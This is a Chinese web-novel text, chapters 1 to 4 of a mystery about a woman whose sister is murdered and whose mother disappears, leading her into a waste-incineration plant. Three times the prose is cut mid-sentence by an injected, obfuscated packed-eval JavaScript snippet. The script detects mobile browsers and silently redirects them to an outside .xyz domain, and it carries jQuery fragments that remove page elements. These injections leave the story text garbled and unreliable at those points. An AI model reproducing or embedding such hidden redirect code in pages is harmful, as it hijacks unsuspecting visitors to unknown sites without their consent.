《玫瑰不走远》 1. 第1章 2030年,迩那国的春天充满寒意。 寒意浸入破败的楼道,随着楼层逐渐升高,雒知的呼吸变得急促,额头冒出细密汗珠,脚步却没有丝毫放缓,她俯身冲上六楼。 站在这扇一年前摔门而出的家门前,雒知双腿发软,眼前不断浮现出,在热搜榜上连续霸屏数日、引发全民热议的虔渡市无头碎尸悬案。 她大口喘息着,双手在包里慌乱地翻找,掏出钥匙插进锁孔,门锁转动的声音在寂静的老小区里显得格外清脆。 门内门外如两个世界,屋里整洁如新,阳台上的玫瑰含苞待放,却没有香味,她对着空气喊了一声“肖为梅”,寂静的家里只能听见喉咙里吞咽口水的声音。 她又连喊了几声,明明肉眼就能将这八十平米扫遍,可以确定是空无一人,连只蚊子都没有,她却还在继续喊。 直到手机突然振动了两下,她倒吸一口凉气,滑开短信,是银行的到账通知。 【肖为梅于7月7日9:37分向您尾号6315账户转账存入3000000.00迩那币,可用余额3001856.00迩那币。】 时间正是此刻,就在当下,她收到了来自妈妈的三百万转账。可是,那个节俭了一辈子,买件30迩那币的衣服都要比价好几天的妈妈,去哪儿了? 浸骨的可怕预感将她紧紧包裹,她不敢再往下想,整个人跌坐在覆盖着一层刺绣罩面的布艺沙发上,绷着一碰就会断裂的神经。 她回忆起这个家里的一切,迅即想到自己离家前,肖为梅每日都要守着卧室里的保险柜跪上半个钟头,嘴里絮絮叨叨地祷告。 她好奇里面究竟是什么宝贝,所以偷偷输入密码看过,结果只是一个移动硬盘,还有几张自己和姐姐的照片。当时她只觉得莫名其妙,谁家保险柜不放房产证、金条、珠宝,而放这些不值钱的破东西呢。 此时,某种近乎本能的直觉窜过她的脊背,她站起身,来到主卧,按下保险柜密码的第一个数字,下一秒,一阵急促而沉重的敲门声突然炸响,如同一声惊雷,在她耳边炸开。 那声音,一下比一下更猛烈,门外有一股无形的力量在疯狂地撞击。 雒知回到客厅,眼睛死死地盯着那扇紧闭的门,鼓起勇气走过去按下门柄。 门开的刹那,刺眼白光爆射而出,耳朵嗡嗡作响,她只觉眼前一阵天旋地转,整个人猛地从床上弹坐而起,心脏就快冲破胸膛。 待意识渐渐回笼,她才惊觉,自己又做梦了。 梦是那么的真实,额头的冷汗打湿了枕巾,双腿肌肉发酸,而敲门声还在持续。 雒知拿起手机,查看银行卡余额,1856迩那币。她稳住心神,确定了那是梦。 可敲门声却如鬼魅般真切,一下又一下,震得她耳膜生疼。 雒知机械地套上拖鞋,朝门口挪去。当她打开门,看清门外那张死板又锋利的脸后,她下意识地攥紧门框,没有开口邀请他进来。 而他,也只是站在门外,目光幽深,没有要迈进门槛的意思。 “雒知,你好,我叫顾驭,占用你一点时间,和你了解一些情况。” 雒知平静回答:“顾长官,我记得你,你前些天已经专程来警告过我了,可我不是犯人,你还有什么想问的吗?” 顾驭穿着一身便服,下巴上是新长出的胡茬,脸很白净,看上去是个坐办公室的。 他压了压眼底的躁意,喉结滚动两下:“你和你的母亲,上一次联系是什么时候?你是否清楚她在虔渡市的情况,你家里还有其他什么人,如果你的母亲失踪了,你为什么不报案?你知不知道你的行为是在影响办案。” 一周前,雒知收到家里寄来的快递,她在外地工作,妈妈每月都会按时给她寄水果,有些是买的,有些是妈妈承包的果园种的,有苹果、梨、大樱桃……她并不爱吃,但从来也不说。 她在外地每天做的事是去公园里找人下象棋,她假装有一份未来可期的高薪工作,只是为了演一出“不得不远赴他乡追求事业”的戏码。比起她的谎言,吃点不爱吃的水果有什么可抱怨的。 可这次有些不对劲,妈妈寄来的是拳头大的杏子,她已经二十年没吃过了,三岁时第一次吃杏子就呼吸困难,过敏性休克,差点见阎王。 更不对劲的是,自从收到杏子那天起,雒知开始频繁地做梦,最常梦到的是妈妈坍缩成一个小方块,而自己在吃杏子。 面对顾驭的质问,雒知直视他的眼睛:“顾长官,这些问题我上次已经回答过了,我妈妈是有人生自由的人,就算联系不上也不意味着她出事了,人总有想独处的时候,只要不违法,她想去哪里就去哪里。你相信一个人会凭空消失,又查不到任何痕迹吗?这不可能的,到处都是天眼,到处都是人眼。” 顾驭出于礼貌,点了点头,但雒知从他脸上可以看出,他看她的眼神,是在审视犯罪嫌疑人。 顾驭:“你说的有道理。不过,我还有一个疑惑,今天是7月5日,根据虔渡市水务公司所调阅的相关数据显示,在过去的三个月时间里,你母亲所居住的房子用水记录几乎为零,你身为女儿,她不知所踪这么长时间,你也认为是正常的吗?” “这能说明什么?顾长官,我不明白,你为什么要调查她呢?或者说,你凭什么能调查她?立案了吗?” “我只是了解情况,你不用这么过激。”顾驭缓和态度,随后接起一个电话,只听了几句,脸色便陡然一变,什么也没说就匆匆离开,返回虔渡市。 顾驭走后,雒知清空了和妈妈的微信聊天记录,她们之间的聊天,没有问候,全是希望对方死的文字。 雒知按下电视遥控器的开关,听着嘈杂的声响,她开始收拾行李,刚把半箱子衣服塞满,手上的动作在听到一则社会新闻时倏然止住。 新闻记者播报:虔渡市交化路口发生一起当街无差别砍人事件,一死九伤,性质极其恶劣,手段残忍,凶手已被督巡局人员当场击毙,经查凶手患有严重的精神分裂症。 雒知双腿瞬间没了力气,她一点一点跪着朝电视机前挪动,电视机屏幕闪烁幽幽蓝光,她捡起手机,在网上搜索相关报道,可无论是什么渠道的新闻,死者的名字都是一样的。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776621|174758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个和她只差一个字的名字重重叠叠地刻进瞳孔。 死者二十七岁,是她的亲姐姐雒烟。分别时,是一个人,再见时,是一座坟。 雒知告别了在公园下象棋的生活,她要回到虔渡,为雒烟筹备这座坟。 经过连日调查,督巡局已经完成勘查、检验工作,犯罪事实基本清晰,唯一有瑕疵的是凶手杀人的动机无从得知,凶手的直系亲属都在海外,迟迟不肯回国配合后续处置,再加上凶手恰好有精神病,动机这东西就更加难辨真伪了。 在虔渡市督巡局的安排下,雒知在殡仪馆见到了雒烟,她静静地躺着,一动不动,无论雒知怎么喊她。 负责核对家属身份信息的人是顾驭,他检查了雒知的身份证件后,提醒她:“如果你一定要看,你做好心理准备。” 不用顾驭提醒,雒知能够想到,一个活生生的凡人之躯,被砍十八刀,会是什么惨象。她左手抓着右手手腕,尽力不让自己颤抖,最后憋住一口气,缓缓掀开那层素白如雪的布,不敢呼吸。 看到姐姐这一刻,她惊恐地瞪大双眼,她错了,她根本不能想象,一个人被砍到“藕断丝连”会是什么惨象。 雒知额头上青筋暴起,涌上喉头的异物感迫使她不能再看下去,她捂住嘴转身冲进卫生间,蜷在马桶边将胃里的东西吐了个干净。 胃酸和泪水倒流,分不清是酸的还是苦的。此后,她再也无法正视任何有关脖子的食物。 顾驭和下属督巡官纪强等在卫生间门口,许久,水龙头滴答的水声停下,门“吱呀”一声开了,雒知脚步虚浮地走出来,脸上带着还未褪去的惊惶。 纪强神情严峻地通知她,要带她回局里接受调查。 “为什么。”雒知说话时,口腔里充斥着血腥味,似乎喉咙被撕裂了。 纪强向她出示传唤证:“配合督巡局调查是每位迩那公民应尽的义务,希望你理解。” 雒知是位好公民,她点点头:“可以让我先洗把脸吗?” 顾驭抬手看了眼腕表,沉声道:“快一点。” 雒知打开水龙头,水流声哗哗地响,她给妈妈打去电话,却依旧无人接听。也是,如果能联系上,督巡局一定比她早知道。 她们这一家人,仿佛强行被拼凑在一块儿的,消失的母亲,惨死的姐姐,被怀疑的她。 来到虔渡市督巡局,雒知被带进询问室,负责询问的是纪强和另一名稍年轻的督巡员。正式问话前,纪强按照流程告知雒知具有的权利和义务,她有权申请回避、有权保持沉默,询问过程会全程录音录像等。 “明白了。”雒知端坐着,将碎发挽到耳后,态度良好。 纪强拿出凶手的照片,举在雒知眼前:“雒知,这个人你是否认识。”照片里的人像个潦倒的流浪汉。 询问室里灯光亮得刺眼,像是要把每一个细节都毫无保留地展现出来,雒知微眯着眼,扫过照片:“不认识。” 纪强又拿出第二张照片,指着第一排站在中间位置的一个女主:“雒知,这个人你是否认识?” 雒知顿了顿:“这是……我。” 2. 第2章 纪强将两张照片同时举起:“凶手名叫许西,这是在他家里发现的毕业照,你和他是高中同学?” 雒知眼神专注,又再次看了第一张照片:“是他……”雒知攥紧拳头,指甲狠抠着桌面。 纪强没有过多纠缠这个问题,凶手的长相大不相同了,她第一眼没认出来也是有可能的。 “说说你们的关系,以及许西和雒烟是否认识?” “雒知?能听见我说话吗?”纪强提高了声量。 雒知回过神,紧抿着唇,过了会儿才开口:“高考前夕,在雒烟接我放学的路上,他不知从哪里突然蹿出来,说对雒烟一见钟情,雒烟当场拒绝了他,雒烟和他只见过这一面。高考后,他的家人将他高考失利的原因归咎到姐姐身上,还去我们家里大闹过一场。” 纪强仔细记录着:“后来呢?你继续说。” “此后无论是我还是姐姐,都再也没有见过他了,纪警官,你是认为许西不是无差别杀人,是故意杀人是吗?我觉得一定是这样,即便他有精神病,他也一定能判断出他是在杀谁!” “案件还在进一步调查中,有任何可以公布的进展,会第一时间跟家属沟通。” 关于许西的事问得差不多了,纪强换了个问题:“你家里还有什么人?” “爸爸去世了,三代以内的直系亲属只剩妈妈。” 纪强又绕了回来:“海市发生了一起无头碎尸案,想必你也听说了,至今死者身份难以确认。” “纪警官,如果死者是我的妈妈,你们应该早就通过DNA匹配出结果了。” “雒知,警方是担心肖为梅会成为凶手的下一个目标。” “那希望不会。” “肖为梅是你的妈妈,你联系不上她为什么一点都不担心?雒烟和她同在海市,为什么上大学后就搬离了家,从不去看望她,你们姐妹俩和你妈妈的关系怎么样?” “纪警官,我不知道,如果你们要调查,就调查吧,我们和妈妈的关系,就和你跟你妈妈的关系一样,你会有事没事都想联系她吗?我还是那句话,我认为我妈妈只是去某个地方散心了。” “你姐姐出事这么大的事都不回来?她无论在什么地方,也该看到新闻了。” “我不知道。” “你的状态怎么样?询问还能继续吗?” “可以。” 隔壁观望室里,顾驭目光锁住前方单向玻璃后的场景,修长的手指紧紧攥着耳机,不放过她回答里的任何一个细微音节。 “顾队,我们追了五年的长江浮尸案和海市无头碎尸案有着千丝万缕的联系,刚查到肖为梅,线索就断了,这绝对不正常。”刑侦科同事心有不甘地锤了锤桌子,“你怎么不亲自询问雒知,你相信她说的话吗?” 顾驭放下耳机,看着雒知红肿的眼睛说:“她的话有可信度,但不完整。”随后起身开门,走出了房间。 “顾队,走啦?不听了?” “周局一个月前已经批了我的辞呈,这案子该交给你们了。” “不是吧……” 另一边,纪强也结束了询问,刚一出门就听到顾驭要辞职,他让另外的同事送雒知出去,然后门也不敲,直直冲进顾驭办公室。 “你真要脱了这身警服?你小子别是在玩儿我吧!” 纪强一边说,顾驭一边脱警服:“老纪,你要拦着我回去继承家产?” “案子不查了?你哥不找了?” “你相信一个人会凭空消失,又查不到任何痕迹吗?这不可能的,到处都是天眼,到处都是人眼。”顾驭拍拍他的肩膀,“你查,你找,这是你身为警察的职责所在,我相信你。” “我靠!”纪强夺门而出。 雒烟的遗体火化后,雒知请人算了个吉日下葬,她抱着新鲜出炉的骨灰罐坐在殡仪馆门口,这会儿她特别想找人说说话,但最好的朋友在备考,她握着手机也不知道可以打给谁,最后打给了墓地销售员。 销售员小全秒接,一口一个“知姐”,热情洋溢,服务态度极好,是最近雒知遇到过的人里,唯一一个从她的需求角度出发的人。 “知姐,你想要多大的,要单人的还是双人的?双人的更划算,有备无患。”小全细细介绍。 听起来耳熟的话术,也对,卖墓地和卖房一样,没什么区别,都是给人住的,有钱的靠山靠湖靠海,没钱的一把灰撒了,环保省事。 小全从对话中听出了雒知毫无经验,于是细心地提醒她,还要准备一张雒烟的两寸照片,刻墓碑会用到。 雒知牢牢记下,而且雒烟爱美,照片要好好选,不能糊弄,这件事很重要。 但她又一想,她没有雒烟的照片,雒烟家里应该有,只是不知道放在哪里的。不过,还好妈妈也有,在保险柜里。 雒知将骨灰罐寄存在殡仪馆,她一年没回过家了,这次回海市也是住的酒店,她觉得是时候回去看看了。 站在单元门口,零碎的几盏昏黄路灯将她的影子拉得细长而扭曲,像是一条潜伏在暗处的毒蛇。她突然意识到了什么,双腿不受控制地飞奔起来,一口气冲上六楼,冷汗早已湿透了她的后背。 雒知迈进家门,眼前场景与梦中一模一样,唯一区别是,她闻到了阳台上馥郁的玫瑰花香。 为了验证心中猜想,雒知看了眼时间,现在是9:36,她屏息以待,倒数着60秒。 “嗡嗡。”9:37,短信准时来了,三百万到账。她明白了,她触发了预知梦。 雒知自嘲地说:“姐姐,你能住块风水宝地了。” 那么下一件事……她提起发软的双腿,走向了保险柜,果然敲门声随之响起。 雒知犹豫了片刻,缩回了手,她还是选择先开门。 这一次,她是在现实中。 雒知舒了口气:“顾警官,你还有问题要问吗?” 顾驭余光扫过她身后,又收回视线:“我已经不是警察了,你可以叫我顾驭。” “既然现在你和我一样,都是平头老百姓,那么我可以关门了吗?”话语间,雒知已“啪”地一下掩上门。 顾驭下意识伸手去挡,嘴里发出一声“嘶”,手指瞬间被压出红痕。 “雒知,我知道你在怕什么。你不敢报案,你知道自己难洗嫌疑。” 雒知手抓着门,抬眼看着他:“你的意思是警察怀疑我?” “你不用套我的话,虽然我已经离开警队,但案件有保密期限,我不会透露任何不能公开的信息。” “你找我究竟要说什么?” “让你正视眼前的问题,我知道你不敢细想,你害怕肖为梅也……” 雒知松开抓住门的手,眼底发红:“自以为是,揣测人心,我最讨厌你们这种看穿一切的眼神。” “你的讨厌没有任何意义。”顾驭的眼神逐渐发狠,“你已经卷入这场杀人游戏,躲是没用的,你要成为发牌的人,才能拿到别人的底牌。” 雒知从没有过躲的想法,她身单力薄,需要的是一个帮手,这个帮手自己送上门来了。 “进来吧。”雒知侧身让他进。 顾驭脱了警服,脱不了警察的习惯,他下意识地一进门就开始审视这间屋子,处处正常,所以处处透露着不对劲。没有用水记录,但绿植养护茂盛,地板上一点灰尘都没沾上。 “打开吧。”顾驭指向卧室。 “什么?”雒知问他。 “保险柜。”他的语气十分淡然。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776622|174758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你在我家装监控了?” “那些梦,我也做过。”顾驭走到保险柜前,“只是我一直不知道梦里的场景在什么地方。” “你还梦到了什么?” “没有了。”顾驭干脆地否认,“当了警察后,就再也没梦到过了,但我要提醒你,这些梦会让你渐渐分不清现实和梦境,真实和虚伪。” “这是你的经验之谈?你混淆了?” “此时此刻,你和我的对话,每一句都是真话吗?梦也是一样,你的预知梦预知的就是真相吗?真真假假,很难分辨。” 雒知不说话了,她的帮手不能脱离她的掌控,而顾驭知道的太多了。 “我不知道密码。”雒知不想当着他的面揭开未知的秘密。 “351700” “……” 雒知开始提防这些梦,竟然连保险柜的密码都会告诉别人。 “我的银行卡密码你知道吗?” 顾驭耸耸肩:“如果你告诉我,我会记下的。” 雒知甩过一个白眼,伸出手指,输入密码,随着最后一声“滴”的轻响,保险柜那厚重的门缓缓开启。 她先取出雒烟的照片,托于掌心,她努力压抑着胸腔中翻涌的刺痛,眼睛一眨不眨地仔细盯着照片看,又仰起头,避免眼泪落在雒烟干净的脸上。 顾驭没有出声,等她调节情绪,过了会儿,雒知将照片收好,然后拿出保险柜里的移动硬盘。 她抬头看顾驭:“你不是警察了,那你现在做这些事的目的是什么?” “硬盘里的东西会告诉你答案。” 雒知半信半疑,但家里没有电脑,她和顾驭去了附近一家网吧,开了个包间。 硬盘里存储着几组照片,拍摄时间是五年前,照片里是一片片种植着果树的土地,他们一张一张打开,不放过任何细节。 “你说的答案就是这个?”雒知的眼神有了微妙的变化,她捕捉到了什么,但她只是垂下眼帘,没有说出来。 顾驭将照片拷贝了一份,发到自己的邮箱里,然后放大其中一张照片,照片里有一个路牌,指向长江口。 “五年前,海市发生的长江浮尸案,你听说过吗?” 那年雒知刚结束高考,这起案件轰动一时,几乎人人都知晓,起初大家只当这是一起自杀事件,但死者身份特殊,他是海市化工龙头企业的创始人,家庭美满,前途无量,他没有自杀的理由。各种分析众说纷纭,总之一介商业大鳄最后死像凄惨,巨人观,如果没有被冲到下游,多年后,估计就会变成滋养一方水土的肥料了。 顾驭并不信任雒知,但他等了五年,等到线索全断,他必须抓住最后的机会:“雒知,我现在说的话,是我作为顾驭对你说的。” “肖为梅今年初去祭奠过死者,你应该清楚,肖为梅的社会关系简单,从未有过交集的人,为什么突然关联上了?这和肖为梅的失踪、雒烟的死或许都有关系,这不是独立的偶然事件。” “你告诉我这些,是想让我做什么?” “和我合作,我帮你找到你妈妈,你帮我得到线索。” 雒知对自己妈妈的了解程度和对陌生人无两样,她不清楚她的社会关系,更不知道她为什么要生下自己和姐姐,她冷漠时,听不到女儿的任何需要;她付出时,窒息的控制欲让人想死。 “既然你没放弃过查案,为什么不当警察了?”放着正路不走,要找她合作,这不是耍她吗。 顾驭没有回答她的问题,双手撑在电脑桌上,对上她的视线:“你会和我合作的,你没有别的选择。我现在要走了,雒烟的葬礼上见,节哀。” “你去哪儿?” 顾驭背对她,挥了挥手:“继承家产。” 3. 第3章 葬礼的通知是用雒烟的微信号在朋友圈发布的,幕后之人会不会露面,雒知心里没谱。 眼前人潮涌动,现场有自发为雒烟悼念的好心市民,还有许多自称亲属,但雒知没见过的人。 这不奇怪,毕竟她和雒烟也见得少,从小到大,雒知连生日会都没办过,第一次操办聚会,就是葬礼。好在有钱了,有钱能使鬼推磨,小全不仅墓地卖得一流,就连承包葬礼也有一条龙渠道,她已经决定以后自己的葬礼也交给小全来办。 葬礼过半,一辆通体黢黑的汽车驶来,停在山脚下。 一个身形高瘦的男人敏捷地钻出,他手中握着一把黑伞,又迅速将黑伞举过另一个人的头顶,同时一只手抵着车门框,迎他下车。 那人三十来岁,穿着灰色工装夹克,他沿着石阶来到墓碑前,献了束花,又从外套口袋里掏出一个红包,递给雒知。 “谢谢。”雒知收下,红包上没写名字,她也没问对方是谁,她不想知道,反正以后也没有还礼的机会。 那人似乎很有诚意地说了一句:“节哀。” 雒知向他微微鞠躬,表达家属的谢意。 那人又说:“在虔渡,如果你需要帮助,可以找我。雒烟是个好员工,可惜了,这么年轻。” 看来是姐姐的领导,雒知撇一眼他:“那怎么联系您?” 那人或许是客套,或许是真情实感,总之他没想到雒知这么不客气,和雒烟的性格截然不同。 他递上一张名片,然后转身离开。 雒知拿着他的名片,在掌心敲了一下、两下、三下……然后被人从她手里抽走。 “普麓垃圾焚烧发电厂。”顾驭西装革履,这个继承了家产的人和前些日子见过的糙汉确实不同了。 “就去这里。”雒知本就坚定的决心熔铸成破晓的利刃,她要划开一道口子,看看里面究竟是什么。 顾驭挪步上前,献上白菊花,又闭上眼不知在心底说了什么,然后回过头问雒知:“葬礼上那么多人,你为什么盯上他。” “和你一样的原因。” “除了预知梦,你还会读心术了?” “看眼色,从小就会。” 顾驭揉搓着手里的名片,这个中年男人的名片上散发着一股玫瑰花香。 雒知执行力强,次日,她就打车前往“普麓垃圾焚烧发电厂”。 这里距离市区很远,网约车司机几度取消订单,最后加了200块返空费才有司机愿意去。 他们出了三环后又开了一个小时高速,快到时还有大段的老路,周围一马平川,最显眼的就是发电厂的几根大烟囱,不间断地冒着滚滚白烟。 雒知在发电厂门口下车,几辆垃圾转运车驶出,她站到一旁避让,同时观察四周,举起手机拍了几张照,门口的保安随即注意到了她,拦着她不让进。 “你是做什么的?” 雒知淡定地说:“来应聘。” 保安狐疑地上下打量她:“你跟谁联系的?哪个办公室的,叫什么名字?” “稍等一下。”雒知摸出名片,瞧了一眼上面的名字,“这个,叫杨荃的,你认识吗?” “什么?”保安愣怔片刻,态度一百八十度大转弯,“里面太大了,自己进去会迷路的,我马上向行政部汇报,他们应该会派人出来接您,您先进来坐一会儿吧。” “好,谢谢了。” 没过一会儿,就来了一个戴着金丝眼镜,束起高马尾的年轻女人。 “你好,我叫黄琪,是普麓垃圾焚烧发电厂的办公室负责人。” 雒知冲她点点头:“你好,我叫雒知,贵司招人吗?” “姓雒……”黄琪顿了顿,没说什么,她热情地带雒知去办公室。 雒知跟着她先进了主体大楼,一楼是科普展厅,布满了发电厂的科技成果,有人正在接待NGO组织,她们乘电梯上了三楼,穿过中控室时,雒知随口问了一句:“这是在监控什么?” 黄琪停下,带她走进中控室参观起来:“中控室相当于我们厂的大脑,无论是垃圾的进料速度,锅炉、发电机组的功率,焚烧炉内的温度……所有的数据都会展示在这里,工程师每天二十四小时监视,每一个细节都逃不过他们的眼睛。 “哇,可真厉害。” 雒知客套了几句,又跟着黄琪去了办公室,刚在黑色皮质沙发上坐下,一股刺鼻的酸臭味飘来。 “什么味道?”雒知皱皱眉,捂住鼻子,她失去了表情管理,这味道她第一次闻到,实在难以忍受。 黄琪稀松平常,关上窗户,又喷了些自己的香水:“今天储煤堆发热,所以味道大了点,你对气味很敏感吗?”说着,又拿出一份表格,让她填上。 “没有,没有。” 雒知扫过一眼:“员工简历?” “你不是要应聘吗?杨董的意思是让你自己提,想应聘什么岗位。” 看来这个杨荃的名片好使。 雒知故作思索,她在上楼时已经看好了:“一楼那个姐姐是做什么的?” “科普讲解员,我们厂除了生产,也是中小学生科普教育基地,面向公众开放,无论是社区、学校、企业或是个人,都可以预约参观,讲解员的工作就是负责接待和讲解垃圾焚烧的工艺流程,破除邻避效应,让更多人了解垃圾发电在减少环境污染方面的作用。” “那我就应聘这个岗位。” 黄琪笑了,这小姑娘有点傻,不会抓住机会:“除了技术类工种,我们还有策划、宣传、行政、人事等工作,你确定要应聘讲解员?这需要背下厂区的全部资料,你要熟知各个生产环节,这不是一个好上手的工作。” “我觉得这个工作很有意义,我想试试。” 黄琪打了个电话,叫来科普部的主管,将雒知交给她带。雒知跟她走前,又想起一个重要问题:“薪酬待遇呢?” 黄琪又叫来HR,一时间她的办公室站满了人。 HR拿起雒知填写的简历,拉出讲解员岗位的薪酬标准:“你是本科,本科的无责任底薪是5000元,绩效另算,按照每月的接待量考核KPI,五险一金足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776623|174758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额缴纳,双休,朝八晚五。”然后安排人给她办入职手续。 黄琪补充道:“通勤问题你是怎么考虑的?你住在什么区?这里离虔渡市区远,公司提供员工宿舍,我们的员工大部分也都是住在厂里的。” “免费吗?”雒知关心的问题都是最实际的,这才像是来找工作的。 “免费,两人一间。” “我住。” 谈完了待遇,解决了住宿,雒知这才安心跟科普部主管苏薛月去了解工作。 苏薛月忙得脚不沾地,走得很快,风风火火,雒知不敢有一丝懈怠,否则下一秒就找不见她人了。 “苏主管,我今天就要开始工作吗?那工资是从今天开始算?” “我今天没空教你,工资问HR。”打印机发出沙沙声,苏薛月拿起新吐出的一沓文件,厚厚的,烫烫的,“这是发电厂各个生产环节的资料,你要在三天之内,全部背下来,并且要能用自己的话讲出来,讲解不是背课文,你要针对不同受众群体的年龄层,用最适配的语言和逻辑风格去讲。” 雒知翻了翻,好家伙,接近五十页。 “你先出去吧。”苏薛月抱怨道,“待会儿还要接待氢能源的老总,人手根本不够用,尽塞些关系户,教新人比自己干还费时费力。” 这话显然是说给雒知听的,她得卖卖好。 “苏主管,我今天可以讲一部分吗?正式讲之前,我先在你面前试讲一段,你觉得行,我再上。” “你?你能讲什么?” “企业发展史和企业理念。”雒知选了这段最枯涩冗长,但不涉及专业词汇的内容。 苏薛月被气笑了:“还有两个小时,你能背下这四千字?” “苏主管,不是我自吹自擂,可我的确过目不忘。” 苏薛月半信半疑,但一个小时后,雒知已经背得滚瓜烂熟,天生靠嘴皮子赚钱的好料子。 雒知戴上小蜜蜂,站在展厅前,等待着检验。 高跟鞋“塔塔塔”地踩在大理石地板上,黄琪看到雒知已经上岗了,欲言又止,脸上写满了“苏薛月在搞什么?”但她没时间纠结,带了好几人,忙去门口迎接。 氢能源一行人的车径直开到了展厅门口,一共五辆,下来了十二三人,气势十足,走在最前方的人格外眼熟。 黄琪带头上前热络地聊了几句,又回头示意雒知:“开始吧。” 雒知目光一滞,转瞬间快速进入工作状态,讲得一板一眼,就连原先讲解词里有些不通顺的细微逻辑错误也被她顺带修正了,举手投足间丝毫不怯场,很有老员工的风范。 她顺利完成第一板块的工作,接力棒交回给了苏薛月,她跟在大家身后,跟着听,跟着学。 偏偏一个男声突然开口,连连发问:“你们发电厂的垃圾从那些渠道收来的?年处理废弃物多少吨?能产生多少千瓦时电力?单炉掺烧比例占多少?” 苏薛月正要回答,那人抬抬手,指着雒知:“你来说。” 雒知脸上笑,心里骂着,顾驭,你可真能装。 4. 第4章 顾驭侧身向前迈出一步,恰巧为雒知让出后方视野。 雒知透过这空隙,目光越过他的肩头,看到身后的展板。可惜,就她那散光视力,即便戴着隐形眼睛,微眯着眼也只能隐隐约约看出个大概轮廓。 她强撑着笑容,回答猪队友:“顾总,我们厂焚烧的垃圾主要来源于虔渡市中心城区和城郊地区的生活垃圾,年平均处理量8633.8吨生活垃圾,发电量每年近4.5亿千瓦时,关于您指出的其他问题,要是能结合咱们这儿的发电模拟装置一起看,会更加直观。” “请各位领导移步这边。”雒知声音清脆悦耳,眼睛透亮,右手向前轻轻一引,做出标准的“请”的手势。 苏薛月紧抓时机,立马接过话头:“没错,顾总请看,这是我们厂的发电流程,除生活垃圾外,我们也会焚烧陈腐垃圾,掺烧比例约25%,目前焚烧炉全年平均运转时间比例是68%,在行业内属中上水平。其实,从大环境来看,现在几乎每一座垃圾焚烧发电厂都存在垃圾不够烧的问题,夸张点来说,地上刚扔掉一张擦嘴巴的餐巾纸,都有人抢……” “别的发电厂都在缩减开支,勒紧裤腰带过日子,你们厂看起来倒是更气派了,又是扩建又是搞科普的,普麓在你们杨董的带领下,确实是一匹行业黑马。” “顾总过奖了,您领导的氢能源公司有太多值得我们学习的地方,我们厂有什么不足,还麻烦您多指点。” 顾驭唇角上扬,神色沉稳从容,带着一种不怒自威的气场,示意她继续讲解。 苏薛月讲得专业又生动,难怪黄琪要指派她来接待。雒知是在场的人里听得最入神的,她记下了其中几个关键,比如:产能过剩。她不是干这行的,本科专业是社会学,今天这些知识点她都是头一遭听说,还弄不明白,只能先在脑子里画个思维导图,再以勤补拙慢慢琢磨。 楼下众人还在参观,镂空的二层扶栏边,人影晃动,借着蛛丝般稀薄的光线,在暗处窥探。 董助付晋背过身,低声请示:“杨董,雒烟的妹妹进厂恐怕没那么简单,她不是能放心用的人,我随便找个理由就能让她知难而退。” “急什么。”杨荃眼底暗流涌动,“想知道对手心里在筹划什么,就要放在眼皮子底下看,不然怎么瞧得清楚,想让对手露出破绽,就要让她先尝到点甜头,人的本性是贪婪成性。” “明白,是我考虑太浅了。” 杨荃转身,目光投向墙上的员工合影:“差不多了,请他们到会议室。” “好的,我马上去办。” 黄琪收到付晋的通知,引顾驭一行人前往会议室,苏薛月留下拦住雒知:“领导层谈合作,我们去干嘛?走,回去了。” 雒知点点头,她傻不愣登地跟去做什么,立马乖巧回答:“好啊。” 顾驭余光瞥到雒知搭乘电梯去了别的楼层,他转向另一边,进入会议室,杨荃热情极了,带领普麓的中高层管理人员起身相迎,双方又是一车轱辘的商业互吹。 场面话说完就进入了正题,顾驭先礼后兵,谈起合作要求来寸步不让,他心里有谱,这次合作对于杨荃更重要。 “为什么呢?”雒知还没有自己的工位,她围在苏薛月办公桌边上,好奇地撑着一双又圆又长的杏仁眼,发出疑问,“薛月姐,咱们厂为什么这么重视这场合作呀?” “你是谁的关系进来的?怎么一点行业背景都不了解。”苏薛月在心里肯定了她今天的表现,不说多么优秀,至少和那些半天吐不出一个字,喊不动劝不住的关系户比起来,已经算出类拔萃了,但看着她一窍不通的样子,还是难掩嫌弃。 “杨董呀,黄琪没跟你通过气吗。”雒知毫不隐瞒,如果这层莫须有的关系能为她谋得一些便利,那何乐而不为呢,最好是让大家都不敢欺负她才好。 苏薛月见她这坦荡荡的表情,无语至极,挨不住她死缠难打,又想到既然她是杨荃的关系,那就没什么不能说的,更何况今后如果达成合作,科普部也是要参与的,于是耐心地跟她多说了几句。 “真没见过你这么上赶着的关系户,这么跟你说吧,经过几十年的绿色发展,过去垃圾围城的状态早就不复存在了,现在我们厂面临的难题是要抢垃圾,没有垃圾烧,咱们厂就只能空转,发不出电。这么说,你懂不懂?” 